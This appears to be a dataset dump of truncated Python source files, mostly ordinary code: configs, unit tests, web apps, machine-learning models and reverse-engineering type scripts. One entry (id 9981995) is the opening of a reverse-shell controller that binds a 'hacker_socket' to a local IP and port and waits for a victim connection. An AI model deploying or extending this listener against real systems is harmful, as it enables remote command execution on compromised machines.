id
stringlengths
3
8
content
stringlengths
100
981k
9979853
import argparse import torch import os # noinspection PyPep8 class Config: def __init__(self): self.parser = argparse.ArgumentParser() self.conf = None # Paths self.parser.add_argument('--img_name', default='image1', help='image name for saving purposes') self.parser.add_a...
9979878
import time import mock import pytest import botocore.exceptions from kinesis_producer.client import Client, ThreadPoolClient, call_and_retry def test_init(kinesis): config = { 'aws_region': 'us-east-1', 'stream_name': 'STREAM_NAME', 'kinesis_max_retries': 3, } Client(config) d...
9979896
from flask import Blueprint, request, url_for, render_template, redirect, flash from flask_security import current_user, login_required from sqlalchemy.sql.expression import func from os import path from classes.shared import db from classes import settings from classes import RecordedVideo from classes import subscri...
9979916
import pytest from pandas import DataFrame from tests.utils import assert_dataframes_equals from weaverbird.backends.pandas_executor.steps.ifthenelse import execute_ifthenelse from weaverbird.pipeline.steps.ifthenelse import IfthenelseStep @pytest.fixture def sample_df() -> DataFrame: return DataFrame({'a_bool':...
9979957
from qibo import gates from qibo.models.grover import Grover from qibo.models import Circuit import numpy as np from scipy.special import binom import argparse def one_sum(sum_qubits): c = Circuit(sum_qubits + 1) for q in range(sum_qubits, 0, -1): c.add(gates.X(q).controlled_by(*range(0, q))) re...
9979988
import io from setuptools import find_packages, setup # This reads the __version__ variable from cirq/_version.py __version__ = "" exec(open("cirq_superstaq/_version.py").read()) name = "cirq-superstaq" description = "The Cirq module that provides tools and access to SuperstaQ" # README file as long_description. l...
9980008
import copy import checkout_sum as cs def combine_the_list(list1, list2): combine_list = copy.copy(list1) for item in list2: if item not in list1: combine_list.append(item) return combine_list tom_shopping = ['apple', 'toilet paper', 'magazine', 'banana'] matt_shopping = ['milk', 'ba...
9980018
import json import pytest import tornado.httpclient import tornado.httpserver import tornado.ioloop import tornado.testing import tornado.web from apiman.tornado import Apiman apiman = Apiman() class MainHandler(tornado.web.RequestHandler): """ get: summary: hello api parameters: - name: ...
9980030
from selenium.webdriver.common.keys import Keys from pages.base_page import BasePage from pages.login_page import LoginPage from pages.signup_page import SignUpBasePage from utils.locators import * # Page objects are written in this module. # Depends on the page functionality we can have more functions for new classe...
9980090
import unittest import numpy as np from ..utils import make_prediction_img class MakePredictionimgTestCase(unittest.TestCase): def test_identity_predict(self): # When predict is the identity function, the input and output # should be equal. full_img = np.random.randint(0, 2, size=(200, 2...
9980108
del_items(0x8013570C) SetType(0x8013570C, "void PreGameOnlyTestRoutine__Fv()") del_items(0x801377C0) SetType(0x801377C0, "void DRLG_PlaceDoor__Fii(int x, int y)") del_items(0x80137CA0) SetType(0x80137CA0, "void DRLG_L1Shadows__Fv()") del_items(0x801380B0) SetType(0x801380B0, "int DRLG_PlaceMiniSet__FPCUciiiiiii(unsigne...
9980125
import os import argparse import json import shutil def main(): """Create `n` replicas of each experiment in an experiments directory""" parser = argparse.ArgumentParser('Replicate experiments.') parser.add_argument('directory', type=str, help='Experiments directory.') parser.add_argument('n', type=in...
9980138
from ecs_cluster_deployer import utils from unittest.mock import patch def test_sanitize_name(): assert utils.sanitize_cfn_resource_name('my-name') == "MyName"
9980149
import nipype.interfaces.afni.preprocess as e_afni from CPAC.pipeline import nipype_pipeline_engine as pe import nipype.interfaces.utility as util def create_scrubbing_preproc(wf_name = 'scrubbing'): """ This workflow essentially takes the list of offending timepoints that are to be removed and removes it...
9980170
import pytest from case_conversion import Case, parse_case @pytest.mark.parametrize( "string,acronyms,preserve_case,expected", ( ("fooBarBaz", None, False, (["Foo", "Bar", "Baz"], Case.CAMEL, "")), ("fooBarBaz", None, True, (["foo", "Bar", "Baz"], Case.CAMEL, "")), ("fooBarBaz", ("BAR...
9980173
from __future__ import print_function, absolute_import, division import numpy as np def load_obj_data(filename): """load model data from .obj file""" v_list = [] # vertex coordinate vt_list = [] # vertex texture coordinate vc_list = [] # vertex color vn_list = [] # vertex normal f_list = [...
9980189
import numpy as np from phonopy.structure.cells import get_primitive from phonopy.units import VaspToTHz from upho.phonon.star_creator import StarCreator from upho.phonon.translational_projector import TranslationalProjector from upho.phonon.rotational_projector import RotationalProjector from upho.phonon.vectors_adjus...
9980202
import os from flask import Flask, request, redirect, session, render_template, url_for, flash from office365 import login_url, issuance_url, access_token, user_details # Initialize the flask app. app = Flask(__name__) # Load configuration variables. app.config.from_pyfile('app.cfg') c = app.config # Make the WSGI i...
9980215
import math # for trig and constants import scipy.spatial as sp # for fast nearest nearbour search from numba import jit # for precompile speed up # GSLIB's KB2D program (Deutsch and Journel, 1998) converted from the original Fortran to Python # translated by <NAME>, th...
9980242
name="fn_main_mock_integration", version="1.2.3", license="MOCKLICENSE", author="John છ જ ઝ ઞ ટ ઠ Smith", author_email="<EMAIL>", url="www.example.com", description="Lorem ipsum dolor sit amet, tortor volutpat scelerisque ઘ ઙ ચ છ જ ઝ ઞ facilisis vivamus eget pretium.", long_description='''"Lorem ipsum dolor sit amet, t...
9980279
import logging import serial import time class SerialDevice: def __init__(self, sparklet): self.sparklet = sparklet self.name = 'PiSpark' self.short_name = 'PSPK' self.port = '/dev/ttyS0' self.baud = 115200 self.stop = False self.timeout = 10 def start(s...
9980395
from audiomate import annotations from audiomate import tracks from audiomate.corpus.subset import subview import pytest from tests import resources class TestMatchingUtteranceIdxFilter: def test_match(self): utt_filter = subview.MatchingUtteranceIdxFilter(utterance_idxs={'a', 'b', 'd'}) asser...
9980405
from typing import Dict, Text, Any, List, Union, Optional from rasa_sdk import Tracker from rasa_sdk.executor import CollectingDispatcher from rasa_sdk import Action from rasa_sdk.forms import FormAction import json import requests from dotenv import load_dotenv from pathlib import Path import os env_path = Path('....
9980406
import re from django.conf import settings from django.core import mail from django.urls import reverse from django.contrib.auth import get_user_model from django.test import TestCase from ..factories import StoryFactory, StoryCategoryFactory from ..models import Story User = get_user_model() class StoryViewTests(...
9980429
import sys import config import torch import torchvision import torchvision.transforms as transforms from torch import Tensor, nn sys.path.insert(0, "../..") import os import matplotlib.pyplot as plt import numpy as np from classifier_models import * from dataloader import get_dataloader from networks.models impor...
9980456
import os; import sys; import os.path; import string; import sys; import subprocess; import platform; import re; import io reload(sys) sys.setdefaultencoding('utf-8') filesCount = 0; def process_files(arg, dirname, names): relPath = os.path.relpath(dirname, deployDir); fullpath = os.path.normpath( dirna...
9980468
import random import string class Random: def __init__(self, size): self.size = size def create(self): random_result = ''.join([random.choice( string.ascii_letters + string.digits) for n in range(self.size)]) return random_result
9980475
import pytest import uvicore from uvicore.support.dumper import dump, dd @pytest.mark.asyncio async def test_one_to_many(app1): #from uvicore.auth.models.user import User from app1.models.post import Post #from app1.models.comment import Comment # One Post has Many Comments post = await Post.quer...
9980492
from kik.messages.keyboard_message import KeyboardMessage from kik.messages.attributable_message import AttributableMessage class LinkMessage(KeyboardMessage, AttributableMessage): """ A full link message object, as documented at `<https://dev.kik.com/#/docs/messaging#link>`_. """ def __init__(self, t...
9980513
from __future__ import division from yolov3.models import * from utils.utils import * from utils.datasets import * from utils.parse_config import * from my_models import Network, define_yolo, init_yolo import os import time import datetime import argparse import tqdm import numpy as np import matplotlib.pyplot as plt...
9980539
import abc from typing import Any, Generic, TypeVar TParsedResponse = TypeVar("TParsedResponse") class ParserBase(abc.ABC, Generic[TParsedResponse]): @abc.abstractmethod def parse(self, response: Any) -> TParsedResponse: ...
9980540
from checkov.common.models.enums import CheckResult, CheckCategories from checkov.cloudformation.checks.resource.base_resource_value_check import BaseResourceValueCheck class KinesisStreamEncryptionType(BaseResourceValueCheck): def __init__(self): name = "Ensure Kinesis Stream is securely encrypted" ...
9980543
import os import subprocess import shlex from sys import stdin, exit from argparse import ArgumentParser from collections import defaultdict from shared.utils import log_error, log_warning, file_path_from, subprocess_popen major_contigs_order = ["chr" + str(a) for a in list(range(1, 23)) + ["X", "Y"]] + [str(a) for a...
9980559
import numpy as np import pytest from pytest import FixtureRequest import mbuild as mb from mbuild.formats.lammpsdata import write_lammpsdata from mbuild.tests.base_test import BaseTest from mbuild.utils.io import get_fn, has_foyer @pytest.mark.skipif(not has_foyer, reason="Foyer package not installed") class TestLa...
9980623
try: set except NameError: from sets import Set as set from elex.api import maps import tests class TestPrecinctsReportingPctFloat(tests.ElectionResultsTestCase): data_url = 'tests/data/20160301_super_tuesday.json' def test_precincts_reporting_pct_less_than_one_point_oh(self): results = [r f...
9980647
def __get_step_size(startTimestamp, endTimestamp, density, decimal=False, factor=1000): step_size = (endTimestamp // factor - startTimestamp // factor) if decimal: return step_size / density return step_size // (density - 1)
9980652
from sqlalchemy import Column, String, UnicodeText from beastx.modules.sql_helper import BASE, SESSION class Gban(BASE): __tablename__ = "gban" user_id = Column(String(14), primary_key=True) reason = Column(UnicodeText) def __init__(self, user_id, reason): self.user_id = user_id ...
9980683
import logging from django.core.checks import Error from django.db.utils import DatabaseError from django.template.base import TemplateDoesNotExist from django.template.loader import get_template logger = logging.getLogger(__name__) def check_transition_templates(transition_templates): # to prevent AppRegistry...
9980700
from abc import ABC, abstractmethod from copy import deepcopy B_TAG_PREFIX = 'b-' I_TAG_PREFIX = 'i-' SCOPE_ATTRIB_SEP = '-' LEVEL_ATTRIB_SEP = '_' SIMPLE_TAG_ATTRIB_NAME = 'tag' def merge_token_tag( merged_structured_document, merged_token, other_structured_document, other_token, source_sc...
9980720
from __future__ import absolute_import from __future__ import division from __future__ import print_function import xml.etree.ElementTree as ET from compas import _iotools from compas.files._xml.xml_cpython import prettify_string # doesn't need special handling for pre-3.8 so we just import __all__ = [ 'xml_from...
9980721
import os from django.conf import settings from django.core.management.base import BaseCommand, CommandError from django.db import transaction from django.db.models.query_utils import Q from django.utils import timezone from backend.api.models import Imperium, UnityObject, Container, AssetBundle from backend.api.task...
9980731
import torch import math import numpy as np def truncated_normal_(tensor, mean=0, std=1): size = tensor.shape tmp = tensor.new_empty(size + (4,)).normal_() valid = (tmp < 2) & (tmp > -2) ind = valid.max(-1, keepdim=True)[1] tensor.data.copy_(tmp.gather(-1, ind).squeeze(-1)) tensor.data.mul_(st...
9980737
import sys max_something = 5 class MyClass(object): spam = "egg" def do_x(a,b=None): my_sum = max_something + a print(my_sum) return b is None
9980764
import hmac,hashlib,binascii from binascii import a2b_hex from binascii import b2a_hex from struct import Struct from operator import xor from itertools import izip, starmap ################################# ##### https://github.com/mitsuhiko/python-pbkdf2/blob/master/pbkdf2.py ################################# _pack_...
9980772
import GRT import sys import argparse def main(): '''GRT ZeroCrossingCounter Example This example demonstrates how to create and use the GRT ZeroCrossingCounter FeatureExtraction Module. The ZeroCrossingCounter module counts the number of zero crossings that occur in an N dimensional signal over a...
9980796
import asyncio from hackq_trivia.question_handler import QuestionHandler from hackq_trivia.hq_main import init_root_logger async def test(): qh = QuestionHandler() # fails because all pages say foot/footwear instead of feet # await qh.answer_question('In the 19th century, where were spats typically worn?...
9980840
from chainer_wing.data_fetch import DataManager import numpy as np if __name__ == '__main__': expect_x = np.array([[3., 4.], [3., 5.], [2., 6.], [2., 7.], [1., 8.], [1., 9.]]) expect_y =...
9980844
load("//opam/_functions:ppx.bzl", "is_ppx_driver") ##################### def _opam_unpin(repo_ctx, pkg): repo_ctx.report_progress("Unpinning {pkg}".format(pkg=pkg)) result = repo_ctx.execute(["opam", "unpin", "-y", pkg]) if result.return_code == 0: repo_ctx.report_progress("Unpinned {pkg}.".format...
9980847
from __future__ import absolute_import from __future__ import division # function to set path to current folder (py 2 to 3) from builtins import str from past.utils import old_div def import_modify(): if __name__ == '__main__': if __package__ is None: import sys from os import pat...
9980853
import asyncio from typing import List import pytest from aiodataloader import DataLoader from graphscale.utils import async_list pytestmark = pytest.mark.asyncio class StringLoader(DataLoader): def __init__(self) -> None: super().__init__(batch_load_fn=self._batch_load_fn) self.calls = [] # t...
9980896
import os class config: blocks_keys = [ 'mobilenet_3x3_ratio_3', 'mobilenet_3x3_ratio_6', 'mobilenet_5x5_ratio_3', 'mobilenet_5x5_ratio_6', 'mobilenet_7x7_ratio_3', 'mobilenet_7x7_ratio_6' ] flops_lookup_table = '../../op_flops_dict_gpu.pkl' model_input_size_imagenet = (1, 3, 22...
9980924
from django.forms import forms from ..models import Channel class ChannelForm(forms.Form): class Meta: model = Channel fields = '__all__'
9980945
import requests def check(HOST="172.17.0.2"): def pre(): if b"we{" in (requests.get(f"http://{HOST}/").content): print("Flag appear directly") else: print("OK") def get_flag(): if b"we{" not in (requests.get(f"http://{HOST}/", headers={ "User-Agent"...
9980954
from tkinter.filedialog import askopenfilename from tkinter.messagebox import showinfo from NotesApp import SansNotesApp as snp from datetime import datetime from tkinter import ttk import tkinter as tk import pandas as pd import os pd.set_option('display.max_rows', None) #database connection notes_db = snp() notes_db...
9980955
import sys import csv import gzip import zlib import logging from io import BytesIO from functools import wraps from datetime import datetime import xml.etree.ElementTree as ET try: # Python 3 from itertools import zip_longest except ImportError: # Python 2 from itertools import izip_longest as zip_longest ...
9981062
import torch from torch.utils.data.dataset import TensorDataset from mcqa.data import McqaDataset def test_McqaDataset(mcqa_dataset): dataset = mcqa_dataset.get_dataset() assert isinstance(dataset, TensorDataset) assert len(dataset) == 1 # Nb of examples # 4 : all_input_ids, all_input_mask, all_segme...
9981068
class BadDataError(Exception): def __init__(self, message): super(BadDataError, self).__init__(message)
9981079
from pprint import pprint # add a counter and add or subtract numbers from these counters class Counter(object): def __init__(self): self.counternames = [] self.newCounter('all') # set counter values def setCounter(self,countername,number=0): setattr(self,countername,number) # create a new counte...
9981090
import os import json import numpy as np import pandas as pd from supervised.preprocessing.preprocessing_utils import PreprocessingUtils from supervised.preprocessing.label_encoder import LabelEncoder from supervised.preprocessing.label_binarizer import LabelBinarizer from supervised.preprocessing.loo_encoder import L...
9981101
from dataclasses import dataclass from torch import nn __all__ = [ 'num_parameters', ] @dataclass(repr=False) class ModelParameterSize: total_count: int = 0 trainable_count: int = 0 total_bytes: int = 0 trainable_bytes: int = 0 def __repr__(self): try: import humanize ...
9981124
from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals
9981132
import FWCore.ParameterSet.Config as cms process = cms.Process("ESDQMTK") process.maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) ) process.load("FWCore.MessageService.MessageLogger_cfi") process.source = cms.Source("PoolSource", fileNames = cms.untracked.vstring( "file:test_310pre5.root" ...
9981137
import os import sys import operator import collections import functools import stat from ctypes import ( POINTER, byref, cast, create_unicode_buffer, create_string_buffer, windll, ) from ctypes.wintypes import LPWSTR import nt import posixpath import builtins from jaraco.structures import bina...
9981234
counters = [1, 2, 3, 4] updated = [] for x in counters: updated.append(x + 10) # add 10 to each item print updated def inc(x): return x + 10 # function to be run print map(inc, counters) # collect results print map((lambda x: x + 3), counters) # function...
9981302
from mite.stats import Counter, Histogram, extractor, matcher_by_type _PAGE_LOAD_METRICS = [ ("dns_lookup_time", "seconds"), ("dom_interactive", "seconds"), ("js_onload_time", "seconds"), ("page_weight", "bytes"), ("render_time", "seconds"), ("tcp_time", "seconds"), ("tcp_time", "seconds"),...
9981309
import keras.backend as K from keras.layers import Embedding,Input, Convolution1D, MaxPooling1D, Flatten, Dense, Bidirectional,concatenate,GRU,Dropout,LSTM from keras.models import Model,Sequential from keras.engine import Layer, InputSpec from keras.layers import Flatten,BatchNormalization from keras.layers import Con...
9981320
import numpy as np import matplotlib.pyplot as plt from sklearn.externals._pilutil import imread import os os.chdir('data/images_part2') trainimage = [] for i in range(22): A = imread(str(i) + '.tif', flatten = True) B, c, D = np.linalg.svd(A) trainimage.append({'original': A, 'singular': c[:21]}) testi...
9981332
import os from glob import glob from PIL import Image import pandas as pd import torchvision.transforms as transforms from torch.utils.data import Dataset __all__ = ['UnlabelledDataset', 'CsvDataset'] class UnlabelledDataset(Dataset): """Loads unlabelled images in directory Args: image_folder: path o...
9981338
from coinbase_commerce import util from coinbase_commerce.api_resources.base import APIResource class CreateAPIResource(APIResource): """ Create operations mixin """ @classmethod def create(cls, **params): response = cls._api_client.post(cls.RESOURCE_PATH, data=params) return util...
9981377
exts = [ "py", "rb", "c", "cpp", "cc", "h", "hpp", "pl", "java", "js", "json", "html", "css", "md", "cs", "php", "rs", "sh", "bash", "ts", "coffee", "lisp", "lua", "nginx", "ps", "powershell", "vim", "sql", "scss", "r", "cmake", "makefile", "mk", "txt" ] def should_use_ext(name, body): if len(n...
9981403
import pytest import json import uuid from calm.dsl.cli.main import get_api_client from calm.dsl.cli.bps import launch_blueprint_simple from calm.dsl.log import get_logging_handle from tests.api_interface.entity_spec.existing_vm_bp import ( ExistingVMBlueprint as Blueprint, ) LOG = get_logging_handle(__name__) ...
9981456
import sys from csv import reader import numpy as np #Function to read csv file def load_csv(filename): dataset = list() with open(filename, 'r') as file: csv_reader = reader(file) for row in csv_reader: if not row: continue dataset.append(row...
9981460
import os import json import copy import pandas as pd import rampwf as rw problem_title = 'Acrobot system identification' _max_n_components = 100 # max number of components of a mixture metadata_path = os.path.join('data', 'metadata.json') with open(metadata_path, "r") as json_file: metadata = json.load(json_f...
9981488
from PyQt4 import QtCore, QtGui from SeExpr.expreditor import SeExprEdControlCollection from SeExpr.expreditor import SeExprEditor from SeExpr.expreditor import SeExprEdBrowser class ImageEditorWindow(QtGui.QMainWindow): def __init__(self, parent=None): QtGui.QMainWindow.__init__(self, parent) se...
9981496
import unittest from tests.parsing import ParsingTests def all_tests(): suite = unittest.TestSuite() suite.addTest(unittest.makeSuite(ParsingTests)) return suite
9981547
import pytest from ray.serve.utils import get_random_letters from ray.serve.common import ReplicaName def test_replica_tag_formatting(): deployment_tag = "DeploymentA" replica_suffix = get_random_letters() replica_name = ReplicaName(deployment_tag, replica_suffix) assert replica_name.replica_tag == ...
9981549
from collections import defaultdict from itertools import tee, islice, cycle from random import choice from typing import Iterable, Generator, Any, Set, List, Dict, Tuple def construct_neighbors(*chromosome: Tuple[Any]) -> defaultdict: result = defaultdict(set) for element in chromosome: for x, y in ...
9981553
import sys import os import torch import torch.nn as nn import pandas as pd import torch.nn.functional as F from torch_sparse import SparseTensor from graphiler import EdgeBatchDummy, NodeBatchDummy, mpdfg_builder, update_all from graphiler.utils import load_data, setup, check_equal, bench, homo_dataset, DEFAULT_DIM,...
9981586
import json import spacy from spacy.tokens import Doc import re from keras.models import Model, load_model from keras.preprocessing import sequence from keras.layers import Dense, Dropout, Embedding, GRU, TimeDistributed, Bidirectional, Input from keras.optimizers import Adam from keras.callbacks import EarlyStopping, ...
9981649
from __future__ import annotations """ The previous line is needed to type hint classes that are defined later like Results class below """ from web_test.help.allure.report import step from selene import by, have from selene.support.shared import browser """ Instead of "class with methods + object" below You can sim...
9981673
import unittest import time from app import create_app from app.state import state import app.programs.hd import app.programs.original class TestAPI(unittest.TestCase): def setUp(self): app = create_app() self.app = app.test_client() def tearDown(self): state.stop_program() de...
9981698
try: from setuptools.core import setup except ImportError: from distutils.core import setup setup( name="proclaim", version="0.5", description="Conditionally roll out features with Redis", long_description=""" Conditionally roll out features with Redis by assigning percentages, groups o...
9981738
from importlib import machinery from .. import abc from .. import util from . import util as builtin_util import sys import unittest class FinderTests(abc.FinderTests): """Test find_module() for built-in modules.""" def test_module(self): # Common case. with util.uncache(builtin_util.NAME): ...
9981759
from collections import defaultdict import matplotlib.pyplot as plt import numpy as np from config import multi_run_results_file_path, MAX_CASE print(multi_run_results_file_path) filename = multi_run_results_file_path list_case = [] list_tau_fixed = [] list_tau_adaptive = [] list_loss = [] list_acc = [] keys = [] ...
9981815
import torch import torch.nn as nn import torch.nn.functional as F from torch.autograd import Variable import numpy as np import math import pdb import time import cv2 from .submodule import pspnet, bfmodule, bfmodule_feat, conv, compute_geo_costs, get_skew_mat, get_intrinsics, F_ngransac from .conv4d import sepConv4d...
9981847
import torch import torch.nn as nn import torch.nn.functional as F import numpy as np import sys import os BASE_DIR = os.path.dirname(os.path.abspath(__file__)) ROOT_DIR = os.path.dirname(BASE_DIR) sys.path.append(os.path.join(ROOT_DIR, 'utils')) from .losses import smoothl1_loss, l1_loss, SigmoidFocalClassificationLo...
9981899
from flask import session, jsonify, redirect, request, Response, abort from flask.ext.login import current_user from werkzeug.utils import secure_filename from functools import wraps from srht.objects import User from srht.database import db, Base from srht.config import _cfg import json import urllib import requests ...
9981934
from __future__ import absolute_import from __future__ import division from __future__ import print_function import itertools import numpy as np import pytest from goftests import multinomial_goodness_of_fit from treecat.generate import generate_dataset from treecat.generate import generate_fake_ensemble from treeca...
9981949
import networkx as nx from nose.tools import * def test_random_partition_graph(): G = nx.random_partition_graph([3, 3, 3], 1, 0, seed=42) C = G.graph['partition'] assert_equal(C, [set([0, 1, 2]), set([3, 4, 5]), set([6, 7, 8])]) assert_equal(len(G), 9) assert_equal(len(list(G.edges())), 9) G ...
9981957
import random from constants import * import string # An untampered file will have 12048 characters in it with the only $ character # in the 5734 th position after which 9 digits follow the first five of which is the score # and the rest four is the time # The high score can only be tampered if a $ sign is inserted a...
9981995
import socket IDENTIFIER = "<END_OF_COMMAND_RESULT>" if __name__ == "__main__": hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) IP = "192.168.74.128" Port = 8008 socket_address = (IP, Port) hacker_socket.bind(socket_address) hacker_socket.listen(5) print("listening for in...
9982028
import numpy from multiprocessing import Process, Queue from scipy.sparse import lil_matrix def sample_function(user_item_matrix, batch_size, n_negative, result_queue, check_negative=True): """ :param user_item_matrix: the user-item matrix for positive user-item pairs :param batch_size: number of samples...
9982147
import string from lxml import etree def cleanup_address_p(paragraph): """Function for dealing with the somewhat messy paragraphs inside an address block. This deals with the potential lack of spaces in the XML, extra E tags, and strange characters up front.""" if paragraph.text: ended_with_s...
9982150
from __future__ import absolute_import from __future__ import division from __future__ import print_function import shutil import sys import tempfile from observations.r.bollen import bollen def test_bollen(): """Test module bollen.py by downloading bollen.csv and testing shape of extracted data has 75 rows...
9982157
import os.path import sys from warnings import warn try: _console = sys._jy_console _reader = _console.reader except AttributeError: raise ImportError("Cannot access JLine2 setup") try: # jarjar-ed version from org.python.jline.console.history import MemoryHistory except ImportError: # dev ver...
9982164
def partition_helper(mset, start, end, outer_sum, inner_sum): if start >= end: return False if outer_sum == inner_sum: return True return \ partition_helper(mset, start + 1, end, outer_sum + mset[start], inner_sum - mset[start]) or \ partition_helper...
9982203
from game_apis.data_flow.data_flow import DataFlow from game_apis.data_flow.sql_flow import PostgresSQLFlow from game_apis.data_flow.sql_flow import MSSQLFlow from game_apis.data_flow.mongodb_flow import MongoDBFlow
9982205
import itertools import shutil import subprocess import sys from argparse import ArgumentParser from collections import defaultdict from distutils import spawn from typing import Dict, List, Pattern, Union from scripts.enabled_test_modules import EXTERNAL_MODULES, IGNORED_ERRORS, IGNORED_MODULES, MOCK_OBJECTS from scr...
9982219
import csv from django.core.management.base import BaseCommand, CommandError from formulario.models import Municipio class Command(BaseCommand): help = 'Read a base of Brazilian municipalities' def add_arguments(self, parser): parser.add_argument( '--file', type=str, ...
9982249
MONTHS = dict() MONTHS["mart"] = 3 MONTHS["nisan"] = 4 MONTHS["mayis"] = 5 MONTHS["haziran"] = 6 MONTHS["temmuz"] = 7 MONTHS["agustos"] = 8 MONTHS["eylul"] = 9 # Daha fazla surmez heralde # İnşallah